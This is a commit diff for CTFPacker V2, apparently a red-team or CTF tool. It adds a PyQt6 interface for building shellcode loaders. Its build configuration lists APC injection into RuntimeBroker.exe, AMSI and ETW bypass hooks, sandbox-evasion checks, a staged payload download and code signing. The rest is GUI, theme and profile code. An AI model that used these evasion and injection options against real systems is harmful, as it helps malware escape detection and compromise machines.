CTFPacker V2

This commit is contained in:
mocha
2026-02-28 17:12:19 +01:00
parent f8ba5592d2
commit 60e818be00
93 changed files with 7802 additions and 7973 deletions
+64
View File
@@ -0,0 +1,64 @@
# -*- coding: utf-8 -*-
from dataclasses import dataclass, field, asdict
from typing import Optional
@dataclass
class BuildConfig:
"""All parameters needed for a CTFPacker build."""
# Core
mode: str = "staged" # "staged" or "stageless"
payload_path: str = "" # Path to .bin shellcode
format: str = "EXE" # "EXE" or "DLL"
inject_method: str = "apc" # "apc" or "copyfile2"
target_process: str = "RuntimeBroker.exe" # APC target process
output: str = "ctfloader" # Output base name
# Options
encrypt: bool = False
scramble: bool = False
entropy_reduction: bool = False
sandbox_checks: bool = False # pre-flight uptime/RAM/CPU checks
sandbox_min_uptime_s: int = 300 # minimum system uptime in seconds
sandbox_min_ram_gb: int = 4 # minimum physical RAM in GB
sandbox_min_cpu: int = 2 # minimum logical CPU count
# Trampoline hooks (TrampoLatté)
bypass_amsi: bool = False # hook AmsiScanBuffer -> AMSI_RESULT_CLEAN
bypass_etw: bool = False # hook EtwpEventWriteFull -> no-op RET
# Debug
debug_mode: bool = False # enable OutputDebugString prints in trampoline.c
# Staged-only: network
ip_address: str = ""
port: int = 8080
path: str = ""
https: bool = False
user_agent: str = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/120.0.0.0 Safari/537.36"
)
# Code signing
pfx: Optional[str] = None
pfx_password: Optional[str] = None
sign_description: str = "" # authenticode program name (-n in osslsigncode)
sign_url: str = "" # authenticode program URL (-i in osslsigncode)
def to_dict(self) -> dict:
return asdict(self)
def to_safe_dict(self) -> dict:
"""Like to_dict but strips sensitive fields that should never be persisted."""
d = asdict(self)
d.pop("pfx_password", None)
return d
@classmethod
def from_dict(cls, d: dict) -> "BuildConfig":
# Filter out unknown keys for forward-compat
valid = {f.name for f in cls.__dataclass_fields__.values()}
return cls(**{k: v for k, v in d.items() if k in valid})
File diff suppressed because it is too large Load Diff
Binary file not shown.
Binary file not shown.
+335
View File
@@ -0,0 +1,335 @@
# -*- coding: utf-8 -*-
"""Main application window for CTFPacker GUI."""
import os
import sys
import time
import json
import subprocess as _sp
import shutil
from PyQt6.QtWidgets import (
QApplication, QMainWindow, QTabWidget, QSplitter, QWidget,
QVBoxLayout, QHBoxLayout, QLabel, QStatusBar, QCheckBox
)
from PyQt6.QtCore import Qt, QTimer, QByteArray, QRectF
from PyQt6.QtGui import QKeySequence, QShortcut, QPixmap, QIcon, QPainter
from PyQt6.QtSvg import QSvgRenderer
from gui.theme import (
STYLESHEET, ACCENT, ACCENT_DIM, ACCENT_BRIGHT,
BG_BASE, BG_SURFACE, BG_ELEVATED, BG_HEADER,
TEXT, TEXT_DIM, TEXT_MUTED, BORDER, GREEN, RED, ORANGE,
# Nord compat aliases still used by status label colour strings
FROST1, NORD3, NORD4, NORD0, NORD1,
)
from gui.widgets.staged_tab import StagedTab
from gui.widgets.stageless_tab import StagelessTab
from gui.widgets.log_panel import LogPanel
from gui.workers import BuildWorker
from gui.history import HistoryManager
GEOMETRY_PATH = os.path.expanduser("~/.ctfpacker_geometry.json")
# Locate assets/: 1) gui/assets/ (installed via pipx), 2) Linux/assets/, 3) repo root (dev)
_HERE = os.path.dirname(os.path.abspath(__file__))
_ASSET_CANDIDATES = [
os.path.join(_HERE, "assets"), # installed: inside gui package
os.path.normpath(os.path.join(_HERE, "..", "assets")), # Linux/assets/
os.path.normpath(os.path.join(_HERE, "..", "..", "assets")), # repo root (dev)
]
ASSETS_DIR = next((d for d in _ASSET_CANDIDATES if os.path.isdir(d)),
_ASSET_CANDIDATES[0])
LOGO_ICON_PATH = os.path.join(ASSETS_DIR, "Logo.png")
FULL_LOGO_PATH = os.path.join(ASSETS_DIR, "Full-Logo.svg")
FULL_LOGO_RED = os.path.join(ASSETS_DIR, "Full-Logo-red-black.svg")
def _render_full_logo(height: int = 52) -> QPixmap:
"""Render Full-Logo-red-black.svg cropped to content.
Red gradient wordmark + black icon. Black icon fill is recoloured
to white so it shows on the dark header; the red gradient text is
kept as-is.
"""
src = FULL_LOGO_RED if os.path.isfile(FULL_LOGO_RED) else FULL_LOGO_PATH
if not os.path.isfile(src):
return QPixmap()
with open(src, "r") as fh:
svg = fh.read()
svg = svg.replace('viewBox="0 0 1024 768"', 'viewBox="40 228 858 310"')
svg = svg.replace("fill: rgb(0,0,0)", "fill: rgb(255,255,255)")
ratio = 858 / 310
w = int(height * ratio)
renderer = QSvgRenderer(QByteArray(svg.encode("utf-8")))
pix = QPixmap(w, height)
pix.fill(Qt.GlobalColor.transparent)
painter = QPainter(pix)
painter.setRenderHint(QPainter.RenderHint.Antialiasing)
renderer.render(painter, QRectF(0, 0, w, height))
painter.end()
return pix
class MainWindow(QMainWindow):
"""CTFPacker v2.0 main window."""
def __init__(self):
super().__init__()
self.setWindowTitle("CTFPacker")
self.setMinimumSize(960, 720)
# Window icon
if os.path.isfile(LOGO_ICON_PATH):
self.setWindowIcon(QIcon(LOGO_ICON_PATH))
self._worker = None
self._history = HistoryManager()
self._build_start_time = 0
self._elapsed_timer = QTimer(self)
self._elapsed_timer.setInterval(1000)
self._elapsed_timer.timeout.connect(self._update_elapsed)
self._splitter = None
self._setup_ui()
self._setup_statusbar()
self._setup_shortcuts()
self._restore_geometry()
def _setup_ui(self):
central = QWidget()
main_layout = QVBoxLayout(central)
main_layout.setContentsMargins(0, 0, 0, 0)
main_layout.setSpacing(0)
# -- Header banner --
header = QWidget()
header.setFixedHeight(64)
header.setStyleSheet(
f"background-color: {BG_HEADER};"
f"border-bottom: 1px solid {BORDER};"
)
header_layout = QHBoxLayout(header)
header_layout.setContentsMargins(16, 0, 20, 0)
header_layout.setSpacing(0)
# Full-Logo SVG: icon + wordmark rendered as a single pixmap
logo_label = QLabel()
logo_pix = _render_full_logo(height=48)
if not logo_pix.isNull():
logo_label.setPixmap(logo_pix)
logo_label.setFixedSize(logo_pix.size())
else:
# Fallback: plain text if assets not found
logo_label.setText("CTFPACKER")
logo_label.setObjectName("headerTitle")
logo_label.setStyleSheet("background: transparent;")
header_layout.addWidget(logo_label)
header_layout.addStretch()
badge = QLabel("v2.0")
badge.setObjectName("headerBadge")
header_layout.addWidget(badge)
main_layout.addWidget(header)
# -- Splitter: tabs + log --
self._splitter = QSplitter(Qt.Orientation.Vertical)
self._tabs = QTabWidget()
self._staged_tab = StagedTab(self._history)
self._stageless_tab = StagelessTab(self._history)
self._tabs.addTab(self._staged_tab, "Staged")
self._tabs.addTab(self._stageless_tab, "Stageless")
self._log_panel = LogPanel()
self._splitter.addWidget(self._tabs)
self._splitter.addWidget(self._log_panel)
self._splitter.setStretchFactor(0, 3)
self._splitter.setStretchFactor(1, 1)
main_layout.addWidget(self._splitter, stretch=1)
self.setCentralWidget(central)
# Connect signals
self._staged_tab.build_requested.connect(self._start_build)
self._stageless_tab.build_requested.connect(self._start_build)
self._staged_tab.profile_imported.connect(self._on_profile_imported)
self._stageless_tab.profile_imported.connect(self._on_profile_imported)
def _setup_statusbar(self):
self._statusbar = QStatusBar()
self.setStatusBar(self._statusbar)
# State dot — 8 px circle, colour reflects build state
self._dot_label = QLabel("")
self._dot_label.setToolTip("Build state")
self._dot_label.setStyleSheet(
f"color: {TEXT_MUTED}; font-size: 8px; padding: 0 4px 0 6px;"
)
self._statusbar.addWidget(self._dot_label)
self._status_label = QLabel("Ready")
self._elapsed_label = QLabel("")
self._notify_check = QCheckBox("Notifications")
self._notify_check.setChecked(True)
self._notify_check.setToolTip("Show desktop notifications when builds finish")
self._statusbar.addWidget(self._status_label, stretch=1)
self._statusbar.addPermanentWidget(self._elapsed_label)
self._statusbar.addPermanentWidget(self._notify_check)
def _setup_shortcuts(self):
QShortcut(QKeySequence("Ctrl+L"), self, self._log_panel.clear)
def _on_profile_imported(self):
"""Refresh both tabs' profile combos after any import."""
self._staged_tab._refresh_profiles()
self._stageless_tab._refresh_profiles()
def _start_build(self, config):
if self._worker and self._worker.isRunning():
return
self._log_panel.clear()
# Log build summary
self._log_panel.append_log("--- Build Configuration ---", "info")
self._log_panel.append_log(f" Mode: {config.mode}", "info")
self._log_panel.append_log(f" Format: {config.format}", "info")
self._log_panel.append_log(f" Injection: {config.inject_method}", "info")
if config.inject_method == "apc":
self._log_panel.append_log(f" Target: {config.target_process}", "info")
self._log_panel.append_log(f" Encrypt: {'Yes' if config.encrypt else 'No'}", "info")
self._log_panel.append_log(f" Scramble: {'Yes' if config.scramble else 'No'}", "info")
self._log_panel.append_log(f" Output: {config.output or 'ctfloader'}", "info")
if config.mode == "staged":
proto = "https" if config.https else "http"
self._log_panel.append_log(
f" Download: {proto}://{config.ip_address}:{config.port}{config.path}", "info")
self._log_panel.append_log("----------------------------", "info")
self._log_panel.set_building(True)
self._set_build_enabled(False)
self._dot_label.setStyleSheet(f"color: {ORANGE}; font-size: 8px; padding: 0 4px 0 6px;")
self._status_label.setText("Building...")
self._status_label.setStyleSheet(f"color: {ACCENT};")
self._build_start_time = time.time()
self._update_elapsed()
self._elapsed_timer.start()
self._last_config = config
self._worker = BuildWorker(config)
self._worker.log_message.connect(self._log_panel.append_log)
self._worker.build_finished.connect(self._on_build_finished)
self._worker.start()
def _on_build_finished(self, success: bool):
self._elapsed_timer.stop()
self._log_panel.set_building(False)
self._set_build_enabled(True)
elapsed = time.time() - self._build_start_time
elapsed_str = f"{elapsed:.1f}s"
if success:
# Resolve output path for display
cfg = self._last_config
base = cfg.output or "ctfloader"
root, _ = os.path.splitext(base)
ext = ".dll" if cfg.format == "DLL" else ".exe"
out_file = os.path.abspath(root + ext)
output_dir = os.path.dirname(out_file)
self._log_panel.append_log("Build completed successfully!", "success")
self._log_panel.append_log(f"Output: {out_file}", "success")
self._dot_label.setStyleSheet(f"color: {GREEN}; font-size: 8px; padding: 0 4px 0 6px;")
self._status_label.setText(f"\u2714 Build succeeded ({elapsed_str})")
self._status_label.setStyleSheet(f"color: {GREEN};")
self._log_panel.show_open_folder(output_dir)
else:
self._log_panel.append_log("Build failed.", "error")
self._dot_label.setStyleSheet(f"color: {RED}; font-size: 8px; padding: 0 4px 0 6px;")
self._status_label.setText(f"\u2717 Build failed ({elapsed_str})")
self._status_label.setStyleSheet(f"color: {RED};")
self._elapsed_label.setText("")
self._send_notification(success, elapsed_str)
def _send_notification(self, success: bool, elapsed_str: str):
"""Send a desktop notification when build finishes."""
if not self._notify_check.isChecked():
return
if success:
title = "CTFPacker - Build Succeeded"
body = f"Build completed in {elapsed_str}"
else:
title = "CTFPacker - Build Failed"
body = f"Build failed after {elapsed_str}"
try:
if sys.platform == "linux" and shutil.which("notify-send"):
icon = "dialog-information" if success else "dialog-error"
_sp.Popen(["notify-send", "-i", icon, title, body],
stdout=_sp.DEVNULL, stderr=_sp.DEVNULL)
elif sys.platform == "darwin":
_sp.Popen([
"osascript", "-e",
f'display notification "{body}" with title "{title}"'
], stdout=_sp.DEVNULL, stderr=_sp.DEVNULL)
except OSError:
pass # Notification is best-effort
def _update_elapsed(self):
elapsed = time.time() - self._build_start_time
self._elapsed_label.setText(f"Elapsed: {elapsed:.0f}s")
def _set_build_enabled(self, enabled: bool):
self._staged_tab.set_build_enabled(enabled)
self._stageless_tab.set_build_enabled(enabled)
# -- Window geometry persistence --
def _save_geometry(self):
data = {
"window_geometry": self.saveGeometry().toBase64().data().decode(),
"splitter_state": self._splitter.saveState().toBase64().data().decode()
if self._splitter else None,
"notifications": self._notify_check.isChecked(),
}
try:
with open(GEOMETRY_PATH, "w") as f:
json.dump(data, f)
except OSError:
pass
def _restore_geometry(self):
try:
with open(GEOMETRY_PATH, "r") as f:
data = json.load(f)
if "window_geometry" in data:
self.restoreGeometry(QByteArray.fromBase64(data["window_geometry"].encode()))
if "splitter_state" in data and data["splitter_state"] and self._splitter:
self._splitter.restoreState(QByteArray.fromBase64(data["splitter_state"].encode()))
if "notifications" in data:
self._notify_check.setChecked(data["notifications"])
except (OSError, json.JSONDecodeError, KeyError):
pass
def closeEvent(self, event):
self._save_geometry()
super().closeEvent(event)
def run_gui():
app = QApplication(sys.argv)
app.setStyleSheet(STYLESHEET)
window = MainWindow()
window.show()
sys.exit(app.exec())
File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 149 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

+92
View File
@@ -0,0 +1,92 @@
# -*- coding: utf-8 -*-
"""Profile save/load for build configurations."""
import json
import os
from typing import Optional
from core.build_config import BuildConfig
HISTORY_PATH = os.path.expanduser("~/.ctfpacker_history.json")
class HistoryManager:
"""Manages saved build profiles in a JSON file."""
def __init__(self, path: str = HISTORY_PATH):
self._path = path
self._data = self._load_file()
def _load_file(self) -> dict:
if os.path.exists(self._path):
try:
with open(self._path, "r") as f:
return json.load(f)
except (json.JSONDecodeError, IOError):
return {}
return {}
def _save_file(self):
with open(self._path, "w") as f:
json.dump(self._data, f, indent=2)
os.chmod(self._path, 0o600)
def list_profiles(self, mode: str) -> list:
"""Return profile names for the given mode."""
return list(self._data.get(mode, {}).keys())
def load_profile(self, mode: str, name: str) -> Optional[BuildConfig]:
"""Load a named profile, or None if not found."""
profiles = self._data.get(mode, {})
if name in profiles:
return BuildConfig.from_dict(profiles[name])
return None
def save_profile(self, mode: str, name: str, config: BuildConfig):
"""Save a profile under the given mode and name. PFX password is never persisted."""
if mode not in self._data:
self._data[mode] = {}
self._data[mode][name] = config.to_safe_dict()
self._save_file()
def delete_profile(self, mode: str, name: str):
"""Delete a profile."""
if mode in self._data and name in self._data[mode]:
del self._data[mode][name]
self._save_file()
# ── Import / Export ───────────────────────────────────────────────────
SCHEMA_VERSION = 1
def export_profile(self, mode: str, name: str) -> dict:
"""Return a portable dict for saving as a .ctfp file."""
profiles = self._data.get(mode, {})
if name not in profiles:
raise KeyError(f"Profile '{name}' not found in mode '{mode}'")
return {
"ctfpacker_profile": self.SCHEMA_VERSION,
"mode": mode,
"name": name,
"config": profiles[name],
}
def import_profile(self, data: dict) -> tuple:
"""Validate and merge a .ctfp dict. Returns (mode, name).
Raises ValueError on bad schema. Caller must handle overwrite checks.
"""
if data.get("ctfpacker_profile") != self.SCHEMA_VERSION:
raise ValueError("Invalid or unsupported .ctfp file format.")
mode = data.get("mode")
name = data.get("name", "").strip()
config = data.get("config")
if not isinstance(mode, str) or mode not in ("staged", "stageless"):
raise ValueError(f"Unknown mode '{mode}' in profile file.")
if not name:
raise ValueError("Profile file has no valid name.")
if not isinstance(config, dict):
raise ValueError("Profile file has no valid config block.")
if mode not in self._data:
self._data[mode] = {}
self._data[mode][name] = config
self._save_file()
return mode, name
+562
View File
@@ -0,0 +1,562 @@
# -*- coding: utf-8 -*-
"""CTFPacker GUI theme — Havoc-inspired."""
# ── Colour Palette ────────────────────────────────────────────────────────────
# Background hierarchy (very dark blue-black, like Havoc C2)
BG_BASE = "#12141a" # root background
BG_SURFACE = "#1a1d24" # panels / group boxes
BG_ELEVATED = "#22252e" # inputs, combos, toolbar areas
BG_HEADER = "#0d0f13" # top header strip
BG_CRUST = "#0a0c10" # log panel background
# Borders
BORDER = "#2e3240" # default border
BORDER_SUB = "#1e2029" # subtle separator
# Text
TEXT = "#c9d1d9" # primary
TEXT_DIM = "#7d8590" # secondary / placeholder
TEXT_MUTED = "#3d444d" # disabled / timestamps
# Accent — crimson red (matches logo)
ACCENT = "#e83535" # primary accent
ACCENT_BRIGHT = "#f55050" # hover highlight
ACCENT_DIM = "#9e1f1f" # pressed / dim
# Status colours
GREEN = "#3fb950" # success
RED = "#f0622f" # error (orange-red — distinct from accent)
YELLOW = "#d29922" # warning
ORANGE = "#db6d28" # info-alt
# ── Aliases (backwards-compat with widgets that import Nord names) ─────────────
NORD0 = BG_BASE
NORD1 = BG_SURFACE
NORD2 = BG_ELEVATED
NORD3 = TEXT_MUTED
NORD4 = TEXT
NORD5 = TEXT
NORD6 = TEXT
FROST0 = ACCENT_DIM
FROST1 = ACCENT
FROST2 = ACCENT
FROST3 = ACCENT_DIM
PURPLE = "#bc8cff"
BASE = BG_BASE
MANTLE = BG_HEADER
CRUST = BG_CRUST
BLUE = ACCENT
STYLESHEET = f"""
/* ── Root ──────────────────────────────────────────────────────────────── */
QMainWindow, QWidget {{
background-color: {BG_BASE};
color: {TEXT};
font-family: "Inter", "Segoe UI", "Ubuntu", sans-serif;
font-size: 13px;
}}
/* ── Tabs ───────────────────────────────────────────────────────────────── */
QTabWidget::pane {{
border: none;
border-top: 2px solid {BORDER};
background-color: {BG_BASE};
}}
QTabBar {{
background-color: {BG_HEADER};
}}
QTabBar::tab {{
background-color: transparent;
color: {TEXT_DIM};
padding: 9px 24px;
border: none;
border-bottom: 2px solid transparent;
margin-right: 0px;
font-weight: 600;
letter-spacing: 0.5px;
text-transform: uppercase;
font-size: 11px;
}}
QTabBar::tab:selected {{
color: {ACCENT};
border-bottom: 2px solid {ACCENT};
background-color: transparent;
}}
QTabBar::tab:hover:!selected {{
color: {TEXT};
background-color: {BG_ELEVATED};
}}
/* ── Group Boxes ─────────────────────────────────────────────────────────── */
QGroupBox {{
border: 1px solid {BORDER};
border-left: 3px solid {ACCENT_DIM};
border-radius: 2px;
margin-top: 14px;
padding-top: 14px;
background-color: {BG_SURFACE};
font-weight: 700;
font-size: 11px;
letter-spacing: 0.8px;
text-transform: uppercase;
color: {TEXT_DIM};
}}
QGroupBox::title {{
subcontrol-origin: margin;
left: 10px;
padding: 0 6px;
background-color: {BG_SURFACE};
color: {ACCENT};
}}
/* ── Inputs ──────────────────────────────────────────────────────────────── */
QLineEdit, QSpinBox {{
background-color: {BG_ELEVATED};
color: {TEXT};
border: 1px solid {BORDER};
border-radius: 2px;
padding: 6px 10px;
selection-background-color: {ACCENT_DIM};
}}
QLineEdit:focus, QSpinBox:focus {{
border-color: {ACCENT};
background-color: {BG_ELEVATED};
outline: none;
}}
QLineEdit::placeholder {{
color: {TEXT_MUTED};
}}
QLineEdit:disabled, QSpinBox:disabled {{
background-color: {BG_SURFACE};
color: {TEXT_MUTED};
border-color: {BORDER_SUB};
}}
QLineEdit[validationError="true"] {{
border: 1px solid {RED};
background-color: #200c0b;
}}
/* ── SpinBox buttons ─────────────────────────────────────────────────────── */
QSpinBox::up-button, QSpinBox::down-button {{
background-color: {BG_ELEVATED};
border: none;
width: 18px;
}}
QSpinBox::up-button:hover, QSpinBox::down-button:hover {{
background-color: {BORDER};
}}
/* ── ComboBox ────────────────────────────────────────────────────────────── */
QComboBox {{
background-color: {BG_ELEVATED};
color: {TEXT};
border: 1px solid {BORDER};
border-radius: 2px;
padding: 6px 10px;
min-width: 110px;
}}
QComboBox:focus {{
border-color: {ACCENT};
}}
QComboBox:disabled {{
background-color: {BG_SURFACE};
color: {TEXT_MUTED};
border-color: {BORDER_SUB};
}}
QComboBox::drop-down {{
border: none;
width: 22px;
background-color: transparent;
}}
QComboBox::down-arrow {{
image: none;
border-left: 4px solid transparent;
border-right: 4px solid transparent;
border-top: 5px solid {TEXT_DIM};
margin-right: 6px;
}}
QComboBox QAbstractItemView {{
background-color: {BG_ELEVATED};
color: {TEXT};
border: 1px solid {BORDER};
border-radius: 0px;
selection-background-color: {ACCENT_DIM};
outline: none;
}}
/* ── Buttons ─────────────────────────────────────────────────────────────── */
QPushButton {{
background-color: {BG_ELEVATED};
color: {TEXT_DIM};
border: 1px solid {BORDER};
border-radius: 2px;
padding: 6px 16px;
font-weight: 600;
}}
QPushButton:hover {{
background-color: {BORDER};
color: {TEXT};
border-color: {ACCENT_DIM};
}}
QPushButton:pressed {{
background-color: {ACCENT_DIM};
color: {TEXT};
}}
QPushButton:disabled {{
background-color: {BG_SURFACE};
color: {TEXT_MUTED};
border-color: {BORDER_SUB};
}}
/* BUILD button */
QPushButton#buildButton {{
background-color: {ACCENT};
color: {BG_BASE};
border: none;
padding: 11px 32px;
font-size: 13px;
font-weight: 700;
border-radius: 2px;
letter-spacing: 1.5px;
text-transform: uppercase;
}}
QPushButton#buildButton:hover {{
background-color: {ACCENT_BRIGHT};
}}
QPushButton#buildButton:pressed {{
background-color: {ACCENT_DIM};
color: {TEXT};
}}
QPushButton#buildButton:disabled {{
background-color: {BG_ELEVATED};
color: {TEXT_MUTED};
border: 1px solid {BORDER_SUB};
}}
/* Browse button */
QPushButton#browseButton {{
background-color: transparent;
color: {ACCENT};
border: 1px solid {ACCENT_DIM};
padding: 6px 12px;
border-radius: 2px;
font-weight: 600;
}}
QPushButton#browseButton:hover {{
background-color: {ACCENT_DIM};
color: {TEXT};
border-color: {ACCENT};
}}
/* Delete button */
QPushButton#deleteButton {{
background-color: transparent;
color: {RED};
border: 1px solid #3d1a1a;
padding: 6px 12px;
border-radius: 2px;
font-weight: 600;
}}
QPushButton#deleteButton:hover {{
background-color: #2d1010;
border-color: {RED};
}}
/* ── CheckBox ────────────────────────────────────────────────────────────── */
QCheckBox {{
color: {TEXT_DIM};
spacing: 8px;
font-size: 12px;
}}
QCheckBox:hover {{
color: {TEXT};
}}
QCheckBox::indicator {{
width: 15px;
height: 15px;
border-radius: 2px;
border: 1px solid {BORDER};
background-color: {BG_ELEVATED};
}}
QCheckBox::indicator:checked {{
background-color: {ACCENT};
border-color: {ACCENT};
}}
QCheckBox::indicator:disabled {{
background-color: {BG_SURFACE};
border-color: {BORDER_SUB};
}}
/* ── Scroll area ─────────────────────────────────────────────────────────── */
QScrollArea {{
border: none;
background-color: {BG_BASE};
}}
QScrollBar:vertical {{
background-color: {BG_BASE};
width: 8px;
border: none;
}}
QScrollBar::handle:vertical {{
background-color: {BORDER};
border-radius: 4px;
min-height: 30px;
}}
QScrollBar::handle:vertical:hover {{
background-color: {TEXT_MUTED};
}}
QScrollBar::add-line:vertical, QScrollBar::sub-line:vertical {{
height: 0px;
}}
/* ── Splitter ────────────────────────────────────────────────────────────── */
QSplitter::handle {{
background-color: {BORDER_SUB};
height: 5px;
border-top: 1px dotted {BORDER};
}}
QSplitter::handle:hover {{
background-color: {ACCENT_DIM};
}}
/* ── Labels ──────────────────────────────────────────────────────────────── */
QLabel {{
color: {TEXT};
background: transparent;
}}
QLabel:disabled {{
color: {TEXT_MUTED};
}}
QLabel#sectionLabel {{
color: {TEXT_MUTED};
font-size: 11px;
text-transform: uppercase;
letter-spacing: 0.5px;
}}
QLabel#headerTitle {{
font-size: 18px;
font-weight: 800;
color: {ACCENT};
letter-spacing: 1px;
}}
QLabel#headerSubtitle {{
font-size: 11px;
color: {TEXT_DIM};
letter-spacing: 0.3px;
}}
QLabel#headerBadge {{
font-size: 9px;
font-weight: 700;
color: {BG_BASE};
background-color: {ACCENT};
padding: 2px 7px;
border-radius: 2px;
letter-spacing: 1px;
}}
/* ── Progress bar ────────────────────────────────────────────────────────── */
QProgressBar {{
background-color: {BG_SURFACE};
border: none;
border-radius: 0px;
height: 3px;
text-align: center;
}}
QProgressBar::chunk {{
background-color: {ACCENT};
border-radius: 0px;
}}
/* ── Status bar ──────────────────────────────────────────────────────────── */
QStatusBar {{
background-color: {BG_HEADER};
color: {TEXT_MUTED};
border-top: 1px solid {BORDER_SUB};
font-size: 11px;
font-family: "Cascadia Code", "Fira Code", "Consolas", monospace;
}}
QStatusBar QLabel {{
color: {TEXT_DIM};
padding: 2px 8px;
}}
/* ── Tooltip ─────────────────────────────────────────────────────────────── */
QToolTip {{
background-color: {BG_ELEVATED};
color: {TEXT};
border: 1px solid {BORDER};
border-radius: 2px;
padding: 5px 9px;
font-size: 12px;
}}
/* ── Horizontal scrollbar ────────────────────────────────────────────────── */
QScrollBar:horizontal {{
background-color: {BG_BASE};
height: 8px;
border: none;
}}
QScrollBar::handle:horizontal {{
background-color: {BORDER};
border-radius: 4px;
min-width: 30px;
}}
QScrollBar::handle:horizontal:hover {{
background-color: {TEXT_MUTED};
}}
QScrollBar::add-line:horizontal, QScrollBar::sub-line:horizontal {{
width: 0px;
}}
/* ── Frame separators ────────────────────────────────────────────────────── */
QFrame[frameShape="4"], QFrame[frameShape="HLine"] {{
background-color: {BORDER_SUB};
border: none;
max-height: 1px;
}}
/* ── Side nav (QListWidget#sideNav) ─────────────────────────────────────── */
QListWidget#sideNav {{
background-color: {BG_SURFACE};
border: none;
outline: none;
padding: 8px 0px;
font-size: 12px;
}}
QListWidget#sideNav::item {{
padding: 11px 0px 11px 18px;
color: {TEXT_DIM};
border-left: 3px solid transparent;
font-weight: 600;
letter-spacing: 0.3px;
}}
QListWidget#sideNav::item:selected {{
background-color: {BG_ELEVATED};
color: {ACCENT};
border-left: 3px solid {ACCENT};
}}
QListWidget#sideNav::item:hover:!selected {{
background-color: {BG_ELEVATED};
color: {TEXT};
border-left: 3px solid transparent;
}}
QListWidget#sideNav::item:disabled {{
color: {TEXT_MUTED};
}}
/* ── Profiles bar + build footer ─────────────────────────────────────────── */
QWidget#profilesBar {{
background-color: {BG_SURFACE};
border-bottom: 1px solid {BORDER};
}}
QWidget#buildFooter {{
background-color: {BG_SURFACE};
border-top: 1px solid {BORDER};
}}
/* ── Dialogs (QMessageBox, QInputDialog, QFileDialog) ────────────────────── */
QDialog {{
background-color: {BG_SURFACE};
color: {TEXT};
border: 1px solid {BORDER};
min-width: 420px;
}}
QMessageBox {{
background-color: {BG_SURFACE};
color: {TEXT};
min-width: 420px;
}}
QMessageBox QLabel {{
color: {TEXT};
font-size: 13px;
padding: 4px 0px;
min-width: 300px;
background: transparent;
}}
/* Icon area spacer */
QMessageBox QDialogButtonBox {{
padding-top: 8px;
}}
QInputDialog {{
background-color: {BG_SURFACE};
color: {TEXT};
min-width: 380px;
}}
QInputDialog QLabel {{
color: {TEXT};
font-size: 13px;
background: transparent;
}}
QInputDialog QLineEdit {{
min-width: 300px;
}}
QFileDialog {{
background-color: {BG_SURFACE};
color: {TEXT};
}}
QFileDialog QLabel {{
color: {TEXT};
background: transparent;
}}
/* Buttons inside dialogs */
QDialogButtonBox QPushButton {{
min-width: 80px;
padding: 6px 18px;
}}
"""
+390
View File
@@ -0,0 +1,390 @@
# -*- coding: utf-8 -*-
"""Shared GUI widget helpers."""
import os
from PyQt6.QtWidgets import (
QHBoxLayout, QVBoxLayout, QLineEdit, QPushButton, QFileDialog,
QWidget, QLabel, QSizePolicy,
QMessageBox, QInputDialog, QSpacerItem,
)
from PyQt6.QtCore import Qt, QMimeData, pyqtSignal
from PyQt6.QtGui import QPainter, QPen, QColor, QFont
from gui.theme import (
BG_BASE, BG_SURFACE, BG_ELEVATED, BORDER, BORDER_SUB,
ACCENT, ACCENT_DIM, ACCENT_BRIGHT,
TEXT, TEXT_DIM, TEXT_MUTED,
GREEN, RED,
# Nord compat aliases
NORD0, NORD1, NORD2, NORD3, NORD4,
FROST1, FROST2, FROST3,
)
class DropLineEdit(QLineEdit):
"""QLineEdit that accepts drag-and-drop files."""
def __init__(self, file_filter_exts=None, parent=None):
super().__init__(parent)
self.setAcceptDrops(True)
# e.g. ['.bin', '.pfx'] — if None, accept any file
self._filter_exts = file_filter_exts
def dragEnterEvent(self, event):
if event.mimeData().hasUrls():
urls = event.mimeData().urls()
if urls and urls[0].isLocalFile():
path = urls[0].toLocalFile()
if self._filter_exts is None or any(path.lower().endswith(e) for e in self._filter_exts):
event.acceptProposedAction()
return
event.ignore()
def dragMoveEvent(self, event):
event.acceptProposedAction()
def dropEvent(self, event):
urls = event.mimeData().urls()
if urls and urls[0].isLocalFile():
self.setText(urls[0].toLocalFile())
event.acceptProposedAction()
class DropZone(QWidget):
"""A visual drag-and-drop zone for payload files.
Shows a dashed-border area with a hint label. Highlights on drag-over.
Displays the filename once a file is selected. Includes a Browse button.
"""
path_changed = pyqtSignal(str)
def __init__(self, file_filter: str = "All Files (*)",
filter_exts=None,
hint_text: str = "Drag & drop shellcode (.bin) here",
browse_title: str = "Select file",
parent=None):
super().__init__(parent)
self.setAcceptDrops(True)
self._file_filter = file_filter
self._filter_exts = filter_exts # e.g. ['.bin']
self._hint_text = hint_text
self._browse_title = browse_title
self._path = ""
self._dragging = False
self.setMinimumHeight(110)
self.setSizePolicy(QSizePolicy.Policy.Expanding,
QSizePolicy.Policy.Fixed)
self.setCursor(Qt.CursorShape.PointingHandCursor)
# Internal layout
layout = QVBoxLayout(self)
layout.setContentsMargins(16, 12, 16, 12)
layout.setSpacing(4)
layout.setAlignment(Qt.AlignmentFlag.AlignCenter)
# Upload arrow icon (hidden once a file is selected)
self._icon_label = QLabel("")
self._icon_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
self._icon_label.setStyleSheet(
f"color: {ACCENT}; font-size: 18px; background: transparent; border: none;")
layout.addWidget(self._icon_label)
# Primary hint text
self._hint_label = QLabel(hint_text)
self._hint_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
self._hint_label.setStyleSheet(
f"color: {TEXT_DIM}; font-size: 13px; background: transparent; border: none;")
layout.addWidget(self._hint_label)
# "or browse" sub-hint
self._sub_label = QLabel("or click to browse")
self._sub_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
self._sub_label.setStyleSheet(
f"color: {ACCENT}; font-size: 11px; background: transparent; border: none;")
layout.addWidget(self._sub_label)
# Clear button — only visible when a file is loaded
self._clear_btn = QPushButton("× clear")
self._clear_btn.setObjectName("deleteButton")
self._clear_btn.setCursor(Qt.CursorShape.PointingHandCursor)
self._clear_btn.setFixedWidth(70)
self._clear_btn.setStyleSheet(
self._clear_btn.styleSheet() +
"QPushButton#deleteButton { font-size: 10px; padding: 2px 8px; }")
self._clear_btn.setVisible(False)
self._clear_btn.clicked.connect(self._clear_file)
